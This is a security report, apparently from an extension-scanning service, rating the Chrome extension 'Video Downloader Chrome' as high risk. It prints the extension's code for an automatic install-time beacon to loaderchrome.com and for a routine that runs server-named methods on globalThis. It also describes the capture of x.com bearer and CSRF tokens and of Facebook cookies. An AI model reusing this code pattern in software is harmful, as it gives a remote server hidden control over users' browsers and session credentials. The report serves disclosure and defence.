Is Video Downloader Chrome - save video safe?

High risk

Video Downloader Chrome contacts loaderchrome.com on install and stores server-supplied config that controls extension behavior at runtime.

When installed or updated, the extension POSTs device and version data to loaderchrome.com and saves the returned JSON as its operating configuration. Separately, a webRequest listener captures all outgoing request headers — including Authorization bearer tokens and x-csrf-token values — for every request to x.com/i/api/* and stores them locally for replay when fetching video URLs. On Facebook video pages, the extension reads the c_user cookie and intercepts a CSRF token to call Facebook's internal video data API directly.

Loaderchrome.comv0.0.2Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-829
SourceAI SANDBOX

Install-time POST fetches server config that can reach the page global

On install/update, the extension POSTs its version and reason to loaderchrome.com/install, storing any 200 JSON reply as config.

Since sw.gtx=globalThis, a server-driven call could reach arbitrary globals.

Here it got 204; nothing ran.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install or update the extension.

No interaction beyond installing it is required.

The extension did this

The extension immediately POSTs to loaderchrome.com/install and treats the reply as configuration it stores and acts on.

The request carries the extension version and install reason; a JSON reply is saved under chrome.storage.local key 'sites'.

02EvidenceNETWORK CAPTURE
Captured request
POSThttps://loaderchrome.com/install
Observed during dynamic analysis: the POST fired automatically on install with no user action. The server returned 204 (empty) on that run, so no configuration was stored and the override routine did not run. A 200 with a JSON body is required for the config-storage / override path to execute.
Body
(base64 of JSON, e.g.) eyJyIjoiaW5zdGFsbCIsInYiOiIwLjAuMiIsInNjIjoiIn0%3D
03EvidenceCODE COMPARE
The code that does this

Install beacon and config storage (background.js)

What it actually does
const cp = async n => {
  const t = {
    r: n.reason,
    v: chrome.runtime.getManifest().version,
    sc: sw.sites.tiktok
  };
  const r = encodeURIComponent(btoa(JSON.stringify(t)));
  fetch("https://loaderchrome.com/install", { method: "POST", body: r })
    .then(async n => {
      if (!n.ok || 200 != n.status) return;
      const t = await n.json();        // server-controlled JSON
      await sw.sp;
      chrome.storage.local.set({
        [Fn.Sites]: t,                  // stored under key 'sites'
        [Fn.Version]: Date.now()
      });
    });
};
04EvidenceCODE COMPARE
The code that does this

Config-driven property assignment reaching globalThis (background.js)

What it actually does
initSite(n = 0) {
  // t() walks a key-path array down from sw
  const t = n => (n && n.reduce ? n.reduce((n, t) => n[t], sw) : n);
  try {
    sw.c[n].map(entry => {
      let [r, e, u, i, o] = entry;          // all five come from server config
      t(r)[e] = t(u)[i](...o.map(t));        // assign server-named method result
    });                                      // to server-named property
  } catch {}
}
// elsewhere:
we.gtx = globalThis;       // 'gtx' resolves to the page global object
globalThis.sw = we;        // sw is the config host object
05EvidencePLAIN NOTE
What is confirmed vs. what is conditional

Confirmed by traffic during dynamic analysis: the automatic install-time POST to loaderchrome.com/install, firing with no user action. Not exercised on the captured run: storage of a server config and the initSite override path — the server returned an empty 204 response, so the 'sites' key was never populated and the override routine did not run. The override branch executes only if loaderchrome.com returns a 200 with a JSON body containing a 'c' property. The capability is present in shipped code and reaches the page global object via sw.gtx = globalThis; whether it is ever activated depends on what the publisher-controlled server chooses to return.

Data recipients

loaderchrome.comapi.x.comwww.facebook.com
Updated 17 September 2026fglgjmlbihnfobipoljfdgfojbehcaja